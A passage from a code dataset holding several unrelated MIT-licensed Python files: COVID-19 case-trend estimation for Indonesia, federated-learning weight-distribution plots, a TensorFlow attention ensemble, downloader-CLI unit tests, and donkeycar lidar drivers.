total_cases1))\n\n # get the statistics of the total cases\n total_cases_median = int(np.round(np.median(total_cases)))\n total_cases_025 = int(np.round(np.percentile(total_cases, 2.5)))\n total_cases_975 = int(np.round(np.percentile(total_cases, 97.5)))\n\n def formatstr(a):\n b = int(float(\"%.2g\"%a)) # round to some significant figures\n c = f\"{b:,}\"\n d = c.replace(\",\", \".\")\n return d\n\n return formatstr(total_cases_median),\\\n formatstr(total_cases_025),\\\n formatstr(total_cases_975)\n\ndef plot_weekly_tests(res):\n yobs = res.yobs\n\n # show the tests\n dltest = DataLoader(\"id_new_tests\")\n ytest = dltest.ytime\n ttest = np.arange(ytest.shape[0])\n tticks = dltest.tdate\n\n a = 7\n ytest = get_weekly_sum(ytest)\n ttest = get_in_week(ttest, i=0)\n tticks = get_in_week(tticks, i=0)\n plt.bar(ttest, ytest, width=a-0.5)\n # plt.bar(ttest, ytest)\n plt.title(\"Pemeriksaan per minggu\")\n plt.xticks(ttest, tticks, rotation=90)\n return ytest\n\ndef plot_weekly_tests_prov(res):\n yobs = res.yobs # new positives / day\n\n # get all the tests and the positive cases from all over the country\n dltest = DataLoader(\"id_new_tests\")\n dlcase = DataLoader(\"id_new_cases\")\n ttest = dltest.tdate\n ytest = dltest.ytime\n ycase = dlcase.ytime\n assert len(ytest) == len(ycase)\n ntest_days = len(ytest)\n nobs_days = len(yobs)\n missing_days = ntest_days - nobs_days\n offset_test = int(np.ceil(missing_days / 7.0)) * 7\n offset_obs = offset_test - missing_days\n\n # offset the positive tests to match the weekly test\n yobs = yobs[offset_obs:]\n ytest = ytest[offset_test:]\n ycase = ycase[offset_test:]\n ttest = ttest[offset_test:]\n assert len(yobs) == len(ytest)\n assert len(yobs) == len(ycase)\n # yobs and ytest should have the same lengths by now\n\n # get the weekly data\n ycase = get_weekly_sum(ycase)\n yobs = get_weekly_sum(yobs)\n ytest = get_weekly_sum(ytest)\n ttest = get_in_week(ttest, i=0)\n ndata = len(yobs)\n\n # calculate the posterior distribution of the number of tests\n yall_positives = ycase.astype(np.int)\n yall_tests = ytest.astype(np.int)\n y_positives = yobs.astype(np.int)\n max_tests = yall_tests.max()\n posteriors = np.zeros((ndata, max_tests+1))\n for i in range(ndata):\n yall_positive = yall_positives[i]\n yall_test = yall_tests[i]\n y_positive = y_positives[i]\n y_test = np.arange(yall_test+1)\n\n lhood = hypergeom.pmf(y_positive, yall_test, yall_positive, y_test)\n if np.sum(lhood) == 0:\n print(y_positive, yall_test, yall_positive, res.dataloader.dataidentifier)\n posteriors[i,:len(lhood)] = lhood / np.sum(lhood) # (max_tests+1)\n\n cdf = np.cumsum(posteriors, axis=-1)\n def h(cdf, q):\n return np.sum(cdf < q, axis=-1)\n\n x = np.arange(ndata)\n ymed = h(cdf, 0.5)\n yl1 = h(cdf, 0.025)\n yu1 = h(cdf, 0.975)\n plt.bar(x, height=ymed, alpha=0.5, label=\"Median\")\n plt.errorbar(x, ymed, [ymed-yl1, yu1-ymed], fmt=\"o\", label=\"95% CI\")\n plt.xticks(x, ttest, rotation=90)\n plt.legend()\n plt.title(\"Perkiraan jumlah pemeriksaan mingguan\")\n return ymed, (h(cdf, 0.975)-h(cdf, 0.025))/2.0\n\ndef main(img_path, file_path, idx=None):\n provinces = [\"Jakarta\", \"Jabar\", \"Jatim\", \"Jateng\", \"Sulsel\"]\n fields = [\"id_new_cases\"] + [\"idprov_%s_new_cases\" % p.lower() for p in provinces]\n names = [\"Indonesia\"] + provinces\n\n if idx is not None:\n provinces = provinces[idx:idx+1]\n fields = fields[idx:idx+1]\n names = names[idx:idx+1]\n\n ftemplate = os.path.join(os.path.split(ct.__file__)[0], \"templates\", \"template-idcovid19.md\")\n\n nsamples = 1000\n nwarmups = 1000\n nchains = 1\n\n places = []\n for i,df in enumerate(fields):\n print(\"Field: %s\" % df)\n\n # get the samples or resample\n res = update_samples(df, nsamples=nsamples, nchains=nchains, nwarmups=nwarmups,\n jit=True, restart=False)\n\n if idx is not None:\n return\n\n dl = res.dataloader\n model = res.model\n samples = res.samples\n ysim = res.ysim\n res.yobs = res.yobs[:ysim.shape[1]]\n yobs = res.yobs\n\n ################## creating the figures ##################\n # simulating the samples\n b = samples[\"b\"].detach().numpy() # (nsamples, n)\n tnp = np.arange(len(yobs))\n\n ncols = 3\n plt.figure(figsize=(4*ncols,4))\n\n plt.subplot(1,ncols,1)\n plot_gradient(res)\n plt.subplot(1,ncols,2)\n plot_data_and_sim(res)\n\n total_cases_median = \"\"\n total_cases_025 = \"\"\n total_cases_975 = \"\"\n if df == \"id_new_cases\":\n # show the tests\n plt.subplot(1,ncols,3)\n test_weekly = plot_weekly_tests(res)\n # calculate the ratio for the last week\n test_ratio = test_weekly[-1] / test_weekly[-2]\n test_ratio_2std = 1e-8 # very small std\n\n # calculate the estimated infection cases\n total_deaths_data = DataLoader(\"id_cum_deaths\").ytime[-1]\n total_cases_median, total_cases_025, total_cases_975 = get_total_cases(res, total_deaths_data)\n\n elif df.startswith(\"idprov_\") and df.endswith(\"_new_cases\"):\n plt.subplot(1,ncols,3)\n test_weekly, test_weekly_2std = plot_weekly_tests_prov(res)\n # NOTE: comment the code below to use the ratio from the national figures\n # test_ratio = test_weekly[-1] / test_weekly[-2]\n # test_ratio_2std = ((test_weekly_2std[-1] / test_weekly[-1])**2 +\\\n # (test_weekly_2std[-2] / test_weekly[-2])**2)**.5 *\\\n # test_ratio\n\n # calculate the estimated infection cases\n total_deaths_data = DataLoader(df.replace(\"_new_cases\", \"_cum_deaths\")).ytime[-1]\n total_cases_median, total_cases_025, total_cases_975 = get_total_cases(res, total_deaths_data)\n\n plt.tight_layout()\n plt.savefig(os.path.join(img_path, \"%s.png\"%df))\n plt.close()\n\n ################## deciding the results ##################\n b_last = b[:,-1]\n # calculate the exponential factor from the weekly ratio\n b_test = np.log(test_ratio) / 7.0\n b_test_std = test_ratio_2std / test_ratio\n lower_grad_portion = np.sum(b_last < b_test) * 1.0 / b.shape[0]\n\n # calculate the probability of the curve going down\n decline_portion = np.sum(b_last < 0) * 1.0 / b.shape[0]\n\n # calculate the total probability of it's really going down\n if b_test < 0:\n decline_prob = lower_grad_portion\n else:\n decline_prob = decline_portion\n\n if decline_prob > 0.95:\n flatcurve_res = \"**turun**\"\n elif decline_prob > 0.75:\n flatcurve_res = \"**kemungkinan** turun\"\n elif decline_prob > 0.5:\n flatcurve_res = \"ada indikasi penurunan, tapi belum dapat dipastikan\"\n elif decline_prob < 0.5 and decline_portion > 0.5:\n flatcurve_res = \"kurva terlihat turun, tapi jumlah tes juga menurun\"\n else:\n flatcurve_res = \"belum dapat disimpulkan\"\n\n # calculate the probability of the curve going down not because of the test\n # i.e. compare the test gradient and the curve gradient\n\n\n ## save the information for the templating\n places.append({\n \"dataid\": df,\n \"name\": names[i],\n \"flatcurve_result\": flatcurve_res,\n \"decline_prob\": int(np.round(decline_prob * 100)),\n\n # predicted cases\n \"total_cases_median\": total_cases_median,\n \"total_cases_025\": total_cases_025,\n \"total_cases_975\": total_cases_975,\n })\n\n with open(ftemplate, \"r\") as f:\n template = Template(f.read())\n today = datetime.date.today()\n content = template.render(places=places, date=today.strftime(\"%d/%m/%Y\"))\n with open(file_path, \"w\") as f:\n f.write(content)\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--idx\", type=int, default=None)\n args = parser.parse_args()\n\n fpath = \"../../mfkasim91.github.io\"\n img_path = os.path.join(fpath, \"assets\", \"idcovid19-daily\")\n file_path = os.path.join(fpath, \"idcovid19.md\")\n main(img_path, file_path, idx=args.idx)\n", "source": "mfkasim91/covid19-gradient-tracker", "license": "MIT"} {"text": "from functools import reduce\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport os\nimport yaml\nfrom matplotlib import cm\nimport pymongo\nimport matplotlib\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom matplotlib.lines import Line2D\nfrom matplotlib.patches import Rectangle\n\nfrom common import _preprocess, setup_plt, query_data, get_colorful_styles, output_dir, COLOR_GRAY, yaxis_formatter, get_markers\n\n\ndef load_params_data():\n weights = pd.read_csv(\"./data/weight_distribution/params_outside_bound_0.01.csv\", index_col=0)\n\n total_weights = 44426.0\n\n # Convert to real array\n weights['clients'] = weights['clients'].apply(lambda x: np.array(x.strip('][').split(', '), dtype=np.int32))\n\n weights['honest_stddev'] = weights['clients'].apply(lambda x: np.std(x[:-1]))\n weights['honest_mean'] = weights['clients'].apply(lambda x: np.mean(x[:-1]))\n weights['mal'] = weights['clients'].apply(lambda x: x[-1])\n\n weights['honest_stddev_perc'] = weights['honest_stddev'] / total_weights\n weights['honest_mean_perc'] = weights['honest_mean'] / total_weights\n weights['mal_perc'] = weights['mal'] / total_weights\n\n weights = weights[weights[\"round\"] <= 520]\n\n return weights\n\n\ndef build_continuous_static_plot(name, df):\n colors, linestyles = get_colorful_styles()\n\n configs = {\n 'honest_mean_perc': {'label': 'Benign', 'marker': get_markers()[0], 'color': colors[1] },\n 'mal_perc': {'label': 'Malicious', 'marker': get_markers()[1], 'color': colors[0] },\n }\n\n markevery = 100\n window_size = 20\n markersize = 8\n error_color = \"0.85\"\n\n setup_plt(square=True)\n\n with PdfPages(f\"{output_dir}/{name}.pdf\") as pdf:\n\n fig, ax = plt.subplots()\n\n custom_lines_colors = []\n custom_lines_colors_names = []\n\n ##################\n # Our 0.5% bound #\n ##################\n plt.axhline(y=0.005, color=COLOR_GRAY, linestyle='dashed')\n\n for index, suffix in enumerate(configs.keys()):\n values_acc = df[suffix]\n labels = df[f\"round\"]\n config = configs[suffix]\n\n if suffix == \"mal_perc\":\n plt.plot(labels, values_acc.rolling(window_size).mean().shift(-window_size),\n linestyle='solid', label=config['label'], color=config['color'],\n linewidth=2, marker=config['marker'], markevery=markevery)\n\n values_std = values_acc.rolling(window_size).std().shift(-window_size)\n plt.fill_between(labels,\n values_acc - values_std,\n values_acc + values_std,\n alpha=1, edgecolor='#3F7F4C', facecolor=error_color, linewidth=0)\n else:\n #values_acc.rolling(window_size).mean().shift(-window_size)\n plt.plot(labels, values_acc.rolling(window_size).mean().shift(-window_size), #df['honest_stddev_perc'].rolling(window_size).mean().shift(-window_size),\n linestyle='solid', label=config['label'], color=config['color'],\n linewidth=2, marker=config['marker'], markevery=markevery)\n\n values_std = df['honest_stddev_perc'].rolling(window_size).mean().shift(-window_size)\n plt.fill_between(labels,\n values_acc - values_std,\n values_acc + values_std,\n alpha=1, edgecolor='#3F7F4C', facecolor=error_color, linewidth=0)\n\n custom_lines_colors.append(Line2D([0], [0], linestyle=\"-\", lw=2, marker=config['marker'], color=config['color']))\n custom_lines_colors_names.append(config['label'])\n\n ##########################\n # General Format\n ##########################\n ax.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ##########################\n # Y - Axis Format\n ##########################\n # ax.set_ylim(ymin=-0.05, ymax=0.455)\n ax.set_yticks([0, 0.2, 0.4, 0.6, 0.8, 1.0])\n ax.get_yaxis().set_major_formatter(\n matplotlib.ticker.FuncFormatter(yaxis_formatter))\n\n plt.ylabel('% Weights above bound')\n plt.xlabel('Round')\n\n # Legend\n # if leftmost:\n line = Line2D([0], [0])\n line.set_visible(False)\n custom_lines_colors = [line] + custom_lines_colors\n custom_lines_colors_names = ['Update type:'] + custom_lines_colors_names\n\n leg1 = plt.legend(custom_lines_colors, custom_lines_colors_names,\n bbox_to_anchor=(1.02, 1.), loc=4, ncol=6, columnspacing=0.75)\n ax.add_artist(leg1)\n\n\n indicator_lines =[\n Line2D([0], [0], linestyle=\"dashed\", lw=2, color=COLOR_GRAY)]\n indicator_lines_labels = [\"$p_v=0.005$\"]\n leg_line = plt.legend(indicator_lines, indicator_lines_labels,\n bbox_to_anchor=(1., 1.), loc='upper right', ncol=1,\n columnspacing=0.75)\n ax.add_artist(leg_line)\n\n # if leftmost:\n for vpack in leg1._legend_handle_box.get_children()[:1]:\n for hpack in vpack.get_children():\n del hpack._children[0]\n\n # if not leftmost:\n # custom_lines_styles = [Line2D([0], [0], linestyle=\"-\", lw=2, color=COLOR_GRAY),\n # Line2D([0], [0], linestyle=\":\", lw=2, color=COLOR_GRAY)]\n # leg_task = plt.legend(custom_lines_styles, [\"Backdoor\", \"Main\"],\n # bbox_to_anchor=(1., 0.05), loc=4, ncol=1,\n # columnspacing=0.75)\n # ax.add_artist(leg_task)\n\n # plt.legend(title='Bound', mode=\"expand\", loc=\"lower left\", labelspacing=.05, bbox_to_anchor=(1.01, 0, .6, 0))\n\n pdf.savefig(bbox_inches='tight', pad_inches=0)\n plt.savefig(f\"{output_dir}/{name}.png\", bbox_inches='tight', pad_inches=0)\n plt.close()\n\n return fig, df\n\n\ndef load_weight_distribution_single_round_data():\n dir = \"./data/weight_distribution/updates\"\n mal = np.load(os.path.join(dir, \"2245_m_1.npy\"), allow_pickle=True)\n ben = np.load(os.path.join(dir, \"32_b_1.npy\"), allow_pickle=True)\n\n df = pd.DataFrame()\n\n for label, update in zip([\"mal\", \"ben\"], [mal, ben]):\n flattened = np.concatenate([np.reshape(u, -1) for u in update])\n df_u = pd.DataFrame()\n df_u[f'{label}_weights'] = flattened\n\n # df_u[(df_u[f'{label}_weights'] > 1) | df_u[f'{label}_weights'] < -1][f'{label}_weights'] = np.NaN\n\n df = df.merge(df_u, how='right', left_index=True, right_index=True)\n\n return df\n\n\ndef build_single_round(name, df):\n\n setup_plt(square=True)\n\n bound = 0.01\n\n with PdfPages(f\"{output_dir}/{name}.pdf\") as pdf:\n\n fig, ax = plt.subplots()\n colors, linestyles = get_colorful_styles()\n\n bins = np.linspace(-0.4, 0.4, 40)\n\n plt.hist(df[\"mal_weights\"], color=colors[0], bins=bins, density=False)\n plt.hist(df[\"ben_weights\"], color=colors[1], bins=bins, alpha=0.5, density=False)\n\n custom_lines_colors = [\n Rectangle((0,0), 1, 1, facecolor=colors[1]),\n Rectangle((0,0), 1, 1, facecolor=colors[0])\n ]\n custom_lines_colors_names = [\n \"Benign\",\n \"Malicious\"\n ]\n\n plt.axvline(-bound, color=COLOR_GRAY, linestyle='dashed')\n plt.axvline(bound, color=COLOR_GRAY, linestyle='dashed')\n\n ##########################\n # General Format\n ##########################\n ax.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ##########################\n # Y - Axis Format\n ##########################\n # ax.set_ylim(ymin=-0.05, ymax=1.05)\n # ax.set_yticks([0, 0.25, 0.5, 0.75, 1])\n # ax.set_xlim(xmin=-1, xmax=1)\n\n # if leftmost:\n plt.ylabel('Count')\n plt.xlabel('Weight value')\n\n indicator_lines = [\n Line2D([0], [0], linestyle=\"dashed\", lw=2, color=COLOR_GRAY)]\n indicator_lines_labels = [\"$L_\\infty$-B$=0.01$\"]\n leg_line = plt.legend(indicator_lines, indicator_lines_labels,\n bbox_to_anchor=(1., 1.), loc='upper right', ncol=1,\n columnspacing=0.75)\n ax.add_artist(leg_line)\n\n # Legend\n # if leftmost:\n line = Line2D([0], [0])\n line.set_visible(False)\n custom_lines_colors = [line] + custom_lines_colors\n custom_lines_colors_names = ['Update type:'] + custom_lines_colors_names\n\n leg1 = plt.legend(custom_lines_colors, custom_lines_colors_names,\n bbox_to_anchor=(1.02, 1.), loc=4, ncol=6, columnspacing=0.75)\n ax.add_artist(leg1)\n\n # if leftmost:\n for vpack in leg1._legend_handle_box.get_children()[:1]:\n for hpack in vpack.get_children():\n del hpack._children[0]\n\n pdf.savefig(bbox_inches='tight', pad_inches=0)\n plt.savefig(f\"{output_dir}/{name}.png\", bbox_inches='tight', pad_inches=0)\n plt.close()\n\n return fig, df\n\n\ndef build_single_round_broken(name, df):\n setup_plt(square=True)\n\n bound = 0.01\n\n with PdfPages(f\"{output_dir}/{name}.pdf\") as pdf:\n\n fig, (ax, ax2) = plt.subplots(2, 1, sharex=True, gridspec_kw={'height_ratios': [1, 2]})\n colors, linestyles = get_colorful_styles()\n\n bins = np.linspace(-0.4, 0.4, 40)\n\n ax.hist(df[\"mal_weights\"], color=colors[0], bins=bins, density=False)\n ax.hist(df[\"ben_weights\"], color=colors[1], bins=bins, alpha=0.5, density=False)\n ax2.hist(df[\"mal_weights\"], color=colors[0], bins=bins, density=False)\n ax2.hist(df[\"ben_weights\"], color=colors[1], bins=bins, alpha=0.5, density=False)\n\n custom_lines_colors = [\n Rectangle((0, 0), 1, 1, facecolor=colors[1]),\n Rectangle((0, 0), 1, 1, facecolor=colors[0])\n ]\n custom_lines_colors_names = [\n \"Benign\",\n \"Malicious\"\n ]\n\n ax.axvline(-bound, color=COLOR_GRAY, linestyle='dashed')\n ax.axvline(bound, color=COLOR_GRAY, linestyle='dashed')\n ax2.axvline(-bound, color=COLOR_GRAY, linestyle='dashed')\n ax2.axvline(bound, color=COLOR_GRAY, linestyle='dashed')\n\n ##########################\n # General Format\n ##########################\n ax.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ax2.grid(True, axis=\"y\", linestyle=':', color='0.6', zorder=0, linewidth=1.2)\n ##########################\n # Y - Axis Format\n ##########################\n # ax.set_ylim(ymin=-0.05, ymax=1.05)\n # ax.set_yticks([40000])\n # ax.set_xlim(xmin=-1, xmax=1)\n ax.set_yticks(list(range(0, 50000, 2500)))\n ax2.set_yticks(list(range(0, 50000, 2500)))\n ax.set_ylim(ymin=40000-100, ymax=45000)\n ax2.set_ylim(ymin=0, ymax=10000)\n\n ax.spines['bottom'].set_visible(False)\n ax2.spines['top'].set_visible(False)\n # ax.xaxis.tick_top()\n ax.xaxis.set_ticks_position('none')\n ax.tick_params(labeltop=False) # don't put tick labels at the top\n ax2.xaxis.tick_bottom()\n\n d = .015 # how big to make the diagonal lines in axes coordinates\n # arguments to pass to plot, just so we don't keep repeating them\n kwargs = dict(transform=ax.transAxes, color='k', clip_on=False)\n ax.plot((-d, +d), (-2 * d, + 2 * d), **kwargs) # top-left diagonal\n ax.plot((1 - d, 1 + d), (-2 * d, +2 * d), **kwargs) # top-right diagonal\n\n kwargs.update(transform=ax2.transAxes) # switch to the bottom axes\n ax2.plot((-d, +d), (1 - d, 1 + d), **kwargs) # bottom-left diagonal\n ax2.plot((1 - d, 1 + d), (1 - d, 1 + d), **kwargs) # bottom-right diagonal\n\n ##########################\n # Y - LEGEND\n ##########################\n # if leftmost:\n # plt.ylabel('Count')\n plt.xlabel('Weight value')\n\n plt.sca(ax)\n indicator_lines = [\n Line2D([0], [0], linestyle=\"dashed\", lw=2, color=COLOR_GRAY)]\n indicator_lines_labels = [\"$L_\\infty$-B$=0.01$\"]\n leg_line = plt.legend(indicator_lines, indicator_lines_labels,\n bbox_to_anchor=(1., 1.), loc='upper right', ncol=1,\n columnspacing=0.75)\n ax.add_artist(leg_line)\n\n # Legend\n # if leftmost:\n line = Line2D([0], [0])\n line.set_visible(False)\n custom_lines_colors = [line] + custom_lines_colors\n custom_lines_colors_names = ['Update type:'] + custom_lines_colors_names\n\n leg1 = plt.legend(custom_lines_colors, custom_lines_colors_names,\n bbox_to_anchor=(1.02, 1.), loc=4, ncol=6, columnspacing=0.75)\n ax.add_artist(leg1)\n\n # if leftmost:\n for vpack in leg1._legend_handle_box.get_children()[:1]:\n for hpack in vpack.get_children():\n del hpack._children[0]\n\n ### Common y label\n fig.add_subplot(111, frameon=False)\n # hide tick and tick label of the big axes\n plt.tick_params(labelcolor='none', top=False, bottom=False, left=False, right=False)\n plt.grid(False)\n plt.ylabel(\"Count\", labelpad=20)\n\n pdf.savefig(bbox_inches='tight', pad_inches=0)\n plt.savefig(f\"{output_dir}/{name}.png\", bbox_inches='tight', pad_inches=0)\n plt.close()\n\n return fig, df", "source": "pps-lab/rofl-project-code", "license": "MIT"} {"text": "import tensorflow as tf\n\nfrom layers.attention_layers import attention_layer\nfrom layers.common_layers import init_inputs\nfrom layers.feed_forward_layers import feed_forward_diff_features, feed_forward_diff_layers\nfrom utils.hyperparams import Hyperparams as hp\n\n\nclass AttentionBasedEnsembleNets:\n\n def __init__(self, selection_methods, num_features, learning_rate=0.01):\n\n with tf.name_scope('input'):\n self.nn_inputs = init_inputs(num_features, selection_methods)\n self.labels = tf.placeholder(dtype=tf.float32, shape=[None, 1], name='labels')\n\n with tf.name_scope('ff'):\n nets = {'fisher': [200, 50], 'ttest': [200, 50], 'corr': [200, 50], 'random': [200, 50]}\n feed_forward = feed_forward_diff_layers(self.nn_inputs, nets)\n with tf.name_scope('output'):\n out = attention_layer(feed_forward, attention_size=50)\n logits = tf.layers.dense(out, units=1)\n sig = tf.nn.sigmoid(logits)\n predictions = tf.round(sig)\n\n with tf.name_scope('train'):\n self.loss = tf.losses.sigmoid_cross_entropy(\n multi_class_labels=self.labels, logits=logits)\n self.opt = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(self.loss)\n\n with tf.name_scope('summaries'):\n self.acc = tf.reduce_mean((predictions * self.labels) + ((1 - predictions) * (1 - self.labels)))\n self.precision, precision_op = tf.metrics.precision(self.labels, predictions)\n # summaries\n tf.summary.scalar('loss', self.loss)\n tf.summary.scalar('accuracy', self.acc)\n tf.summary.scalar('precision_op', precision_op)\n self.merged_summary_op = tf.summary.merge_all()\n", "source": "tlatkowski/attention-ensemble-gene-expression", "license": "MIT"} {"text": "\"\"\"Tests various methods of the Download\nclass.\n\nAll the methods that start with test are used\nto test a certain function. The test method\nwill have the name of the method being tested\nseperated by an underscore.\n\nIf the method to be tested is extract_content,\nthe test method name will be test_extract_content\n\"\"\"\n\nfrom hashlib import md5\nfrom os import remove\n\nfrom downloader_cli.download import Download\n\n\nTEST_URL = \"http://212.183.159.230/5MB.zip\"\n\n\ndef test__extract_border_icon():\n \"\"\"Test the _extract_border_icon method\"\"\"\n download = Download(TEST_URL)\n\n icon_one = download._extract_border_icon(\"#\")\n icon_two = download._extract_border_icon(\"[]\")\n icon_none = download._extract_border_icon(\"\")\n icon_more = download._extract_border_icon(\"sdafasdfasdf\")\n\n assert icon_one == ('#', '#'), \"Should be ('#', '#')\"\n assert icon_two == ('[', ']'), \"Should be ('[', '])\"\n assert icon_none == ('|', '|'), \"Should be ('|', '|')\"\n assert icon_more == ('|', '|'), \"Should be ('|', '|')\"\n\n\ndef test__build_headers():\n \"\"\"Test the _build_headers method\"\"\"\n download = Download(TEST_URL)\n\n download._build_headers(1024)\n header_built = download.headers\n\n assert header_built == {\"Range\": \"bytes={}-\".format(1024)}, \\\n \"Should be 1024\"\n\n\ndef test__preprocess_conn():\n \"\"\"Test the _preprocess_conn method\"\"\"\n download = Download(TEST_URL)\n download._preprocess_conn()\n\n assert download.f_size == 5242880, \"Should be 5242880\"\n\n\ndef test__format_size():\n \"\"\"\n Test the function that formats the size\n \"\"\"\n download = Download(TEST_URL)\n\n size, unit = download._format_size(255678999)\n\n # Size should be 243.83449459075928\n # and unit should be `MB`\n size = int(size)\n\n assert size == 243, \"Should be 243\"\n assert unit == \"MB\", \"Should be MB\"\n\n\ndef test__format_time():\n \"\"\"\n Test the format time function that formats the\n passed time into a readable value\n \"\"\"\n download = Download(TEST_URL)\n\n time, unit = download._format_time(2134991)\n\n # Time should be 9 days\n assert int(time) == 9, \"Should be 9\"\n assert unit == \"d\", \"Should be d\"\n\n time, unit = download._format_time(245)\n\n # Time should be 4 minutes\n assert int(time) == 4, \"Should be 4\"\n assert unit == \"m\", \"Should be m\"\n\n\ndef test_file_integrity():\n \"\"\"\n Test the integrity of the downloaded file.\n\n We will test the 5MB.zip file which has a hash\n of `eb08885e3082037a12a42308c521fa3c`.\n \"\"\"\n HASH = \"eb08885e3082037a12a42308c521fa3c\"\n\n download = Download(TEST_URL)\n download.download()\n\n # Once download is done, check the integrity\n _hash = md5(open(\"5MB.zip\", \"rb\").read()).hexdigest()\n\n assert _hash == HASH, \"Integrity check failed for 5MB.zip\"\n\n # Remove the file now\n remove(download.basename)\n", "source": "HeavyTony2/downloader-cli", "license": "MIT"} {"text": "\"\"\"\nLidar\n\"\"\"\n\nimport time\nimport math\nimport pickle\nimport serial\nimport logging\nimport numpy as np\nfrom donkeycar.utils import norm_deg, dist, deg2rad, arr_to_img\nfrom PIL import Image, ImageDraw\n\nclass YdLidar(object):\n '''\n https://pypi.org/project/PyLidar3/\n '''\n def __init__(self, port='/dev/ttyUSB0', model='G4', chunk_size='6000', freq=15):\n '''\n tune chunk_size for the speed of your compute board\n default G4 uses '6000'\n '''\n \n if model == 'G4':\n from PyLidar3 import YdLidarG4, FrequencyStep\n else:\n raise Exception(\"YdLidar module currently only supports 'G4'.\")\n\n self.port = port\n self.distances = [] #a list of distance measurements \n self.angles = [] # a list of angles corresponding to dist meas above\n self.lidar = YdLidarG4(port=self.port)\n\n if (self.lidar.Connect()):\n print(self.lidar.GetDeviceInfo())\n\n # # running at 15 Hz\n # while self.lidar.GetCurrentFrequency() % 1 != 0:\n # print(\"adjusting scanning frequency: \")\n # self.lidar.IncreaseCurrentFrequency(FrequencyStep.oneTenthHertz)\n # while self.lidar.GetCurrentFrequency() < freq - 1:\n # print(\"adjusting scanning frequency: \")\n # self.lidar.IncreaseCurrentFrequency(FrequencyStep.oneHertz)\n # print(\"Current scanning frequency: \", self.lidar.GetCurrentFrequency())\n \n self.gen = self.lidar.StartScanning()\n\n else:\n raise Exception(\"Lidar not connected, port: {}, model:{}\".format(self.port, model))\n self.on = True\n self.scan = {}\n\n # from threading import Lock\n # self.frame_mutex = Lock()\n\n\n def update(self):\n while self.on:\n try:\n self.scan = next(self.gen)\n self.angles = list(self.scan.keys())\n self.distances = list(self.scan.values())\n except serial.serialutil.SerialException:\n print('serial.serialutil.SerialException from Lidar. common when shutting down.')\n\n def run_threaded(self):\n return self.distances, self.angles\n\n def shutdown(self):\n self.on = False\n time.sleep(2)\n self.lidar.StopScanning()\n self.lidar.Disconnect()\n\n\nclass RPLidar(object):\n '''\n https://github.com/SkoltechRobotics/rplidar\n '''\n def __init__(self, port='/dev/ttyUSB0'):\n from rplidar import RPLidar\n self.port = port\n self.distances = [] #a list of distance measurements \n self.angles = [] # a list of angles corresponding to dist meas above\n self.lidar = RPLidar(self.port)\n self.lidar.clear_input()\n time.sleep(1)\n self.on = True\n #print(self.lidar.get_info())\n #print(self.lidar.get_health())\n\n\n def update(self):\n scans = self.lidar.iter_scans(550)\n while self.on:\n try:\n for scan in scans:\n self.distances = [item[2] for item in scan]\n self.angles = [item[1] for item in scan]\n except serial.serialutil.SerialException:\n print('serial.serialutil.SerialException from Lidar. common when shutting down.')\n\n def run_threaded(self):\n return self.distances, self.angles\n\n def shutdown(self):\n self.on = False\n time.sleep(2)\n self.lidar.stop()\n self.lidar.stop_motor()\n self.lidar.disconnect()\n\n\nclass YdLidarPlot(object):\n '''\n takes the raw lidar measurements and plots it to an image\n '''\n PLOT_TYPE_LINE = 0\n PLOT_TYPE_CIRC = 1\n def __init__(self, scale=1.0, offset=(0., 0.), color=(255, 0, 0)):\n self.scale = scale\n self.offset = offset\n self.origin = offset\n self.color = color\n\n self.max_dist= 8. # mm\n self.min_dist = 0.2 # m \n \n def plot(self, img, x, y, yaw, ranges, draw):\n '''\n scale dist so that max_dist is edge of img (mm)\n and img is PIL Image, draw the circle using the draw ImageDraw object\n '''\n for angle in range(0, ranges.size):\n if self.min_dist < ranges[angle] < self.max_dist:\n plot_angle = round(min(359, angle + yaw))\n\n radian = math.radians(plot_angle)\n\n sx = round(x * self.scale + self.offset[0] + math.cos(radian) * ranges[plot_angle] * self.scale)\n sy = round(y * self.scale + self.offset[1] + math.sin(radian) * ranges[plot_angle] * self.scale)\n\n draw.point((sx, sy), fill=(128,128,128))\n \n def run(self, img, x, y, yaw, ranges):\n '''\n takes two lists of equal length, one of distance values, the other of angles corresponding to the dist meas \n '''\n self.frame = img\n draw = ImageDraw.Draw(self.frame)\n self.plot(self.frame, x, -y, yaw, ranges, draw)\n return self.frame\n \n def update(self):\n pass\n\n def run_threaded(self, img, x, y, yaw, ranges):\n return self.run(img, x, y, yaw, ranges)\n\n def shutdown(self):\n pass\n\nclass LidarPlot(object):\n '''\n takes the raw lidar measurements and plots it to an image\n '''\n PLOT_TYPE_LINE = 0\n PLOT_TYPE_CIRC = 1\n def __init__(self, resolution=(500,500),\n max_dist=1000, #mm\n radius_plot=3,\n plot_type=PLOT_TYPE_CIRC):\n self.frame = Image.new('RGB', resolution)\n self.max_dist = max_dist\n self.rad = radius_plot\n self.resolution = resolution\n if plot_type == self.PLOT_TYPE_CIRC:\n self.plot_fn = self.plot_circ\n else:\n self.plot_fn = self.plot_line\n \n\n def plot_line(self, img, dist, theta, max_dist, draw):\n '''\n scale dist so that max_dist is edge of img (mm)\n and img is PIL Image, draw the line using the draw ImageDraw object\n '''\n center = (img.width / 2, img.height / 2)\n max_pixel = min(center[0], center[1])\n dist = dist / max_dist * max_pixel\n if dist < 0 :\n dist = 0\n elif dist > max_pixel:\n dist = max_pixel\n theta = np.radians(theta)\n sx = math.cos(theta) * dist + center[0]\n sy = math.sin(theta) * dist + center[1]\n ex = math.cos(theta) * (dist + self.rad) + center[0]\n ey = math.sin(theta) * (dist + self.rad) + center[1]\n fill = 128\n draw.line((sx,sy, ex, ey), fill=(fill, fill, fill), width=1)\n \n def plot_circ(self, img, dist, theta, max_dist, draw):\n '''\n scale dist so that max_dist is edge of img (mm)\n and img is PIL Image, draw the circle using the draw ImageDraw object\n '''\n center = (img.width / 2, img.height / 2)\n max_pixel = min(center[0], center[1])\n dist = dist / max_dist * max_pixel\n if dist < 0 :\n dist = 0\n elif dist > max_pixel:\n dist = max_pixel\n theta = np.radians(theta)\n sx = round(math.cos(theta) * dist + center[0])\n sy = round(math.sin(theta) * dist + center[1])\n ex = round(math.cos(theta) * (dist + 2 * 